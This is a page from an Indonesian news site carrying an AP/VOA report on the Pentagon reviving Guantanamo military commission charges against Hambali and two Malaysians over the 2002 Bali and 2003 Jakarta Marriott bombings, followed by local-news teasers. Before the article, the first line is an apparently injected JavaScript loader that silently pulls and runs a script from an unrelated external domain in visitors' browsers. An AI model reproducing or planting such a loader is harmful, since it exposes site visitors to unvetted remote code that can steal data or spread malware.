(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, WASHINGTON (AP) — Setelah penundaan yang tidak ada penjelasan, Pentagon pada Kamis (21/1) mengumumkan rencana untuk melanjutkan pengadilan militer bagi tiga orang yang diduga terlibat pengeboman mematikan di Indonesia, pada 2002 dan 2003. Ketiganya ditahan di pangkalan AS di Teluk Guantanamo, Kuba.
Seorang pejabat senior hukum militer menyetujui sejumlah tuntutan yang tidak diancam hukuman mati, yaitu konspirasi, pembunuhan, dan terorisme terhadap ketiga tersangka tersebut. Ketiganya telah ditahan oleh pemerintah AS selama 17 tahun atas dugaan peran mereka dalam pengeboman klub malam di Bali pada 2002 dan setahun kemudian pengeboman Hotel JW Marriott di Jakarta.
Melansir berita dari Associated Press, waktu pengajuan dakwaan, yang telah diajukan di bawah Presiden Donald Trump tetapi belum diselesaikan, mengejutkan kuasa hukum untuk ketiga tersangka itu. Dakwaan itu juga tampaknya bertentangan dengan niat Presiden Joe Biden untuk menutup pusat penahanan.
Jenderal Lloyd Austin, calon Biden untuk menjadi menteri pertahanan, pekan ini menegaskan kembali niatnya untuk menutup Guantanamo kepada komite Senat yang membahas pencalonannya.
“Waktunya di sini sudah jelas, satu hari setelah pelantikan,” kata Mayor Korps Marinir James Valentine, pengacara militer yang ditunjuk untuk ketiganya. “Ini dilakukan dalam keadaan panik sebelum pemerintahan baru bisa diselesaikan.”
Seorang juru bicara komisi militer tidak segera memberi komentar. Komisi militer itu selama bertahun-tahun dililit gugatan hukum yang sebagian besar berkisar pada perlakuan brutal terhadap para tersangka selama dalam tahanan sebelumnya di fasilitas penahanan milik Badan Intelijen Pusat (Central Intelligent Agency/CIA), tidak segera berkomentar.
Jaksa militer mengajukan tuntutan terhadap Encep Nurjaman atau yang dikenal dengan nama Hambali, dan dua orang lainnya pada Juni 2017. Kasus tersebut ditolak oleh pejabat hukum Pentagon yang dikenal sebagai otoritas sidang karena alasan yang tidak diungkap kepada publik.
“Kasus mereka gagal. Saya tidak bisa memberi tahu Anda alasannya karena itu dirahasiakan,” kata Valentine, bagian dari tim hukum yang membela Hambali.
Karena sekarang otoritas persidangan telah menyetujui dakwaan, AS harus mengajukan tuntutan kepada para tahanan di hadapan komisi militer di pangkalan di Kuba. Persidangan di Guantanamo telah dihentikan oleh pandemi dan tidak jelas kapan akan dilanjutkan.
Hambali diduga sebagai pemimpin Jemaah Islamiyah, afiliasi Al-Qaeda di Asia Tenggara. Pentagon mengatakan dalam sebuah pernyataan singkat tentang kasus itu bahwa dia bersama Mohammed Nazir Bin Lep dan Mohammed Farik Bin Amin, dituduh merencanakan dan membantu serangan tersebut. Nazir dan Farik berasal dari Malaysia,.
Ketiganya ditangkap di Thailand pada 2003 dan ditahan di tahanan CIA sebelum mereka dibawa ke Guantanamo tiga tahun kemudian.
Pengeboman di Bali pada Oktober 2002 menewaskan 202 orang, kebanyakan turis asing, termasuk 88 warga Australia. Pengeboman Hotel J.W. Marriott di Jakarta pada Agustus 2003 menewaskan 12 orang dan melukai sekitar 150 lainnya. [na/ft]
Editor : VOA
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.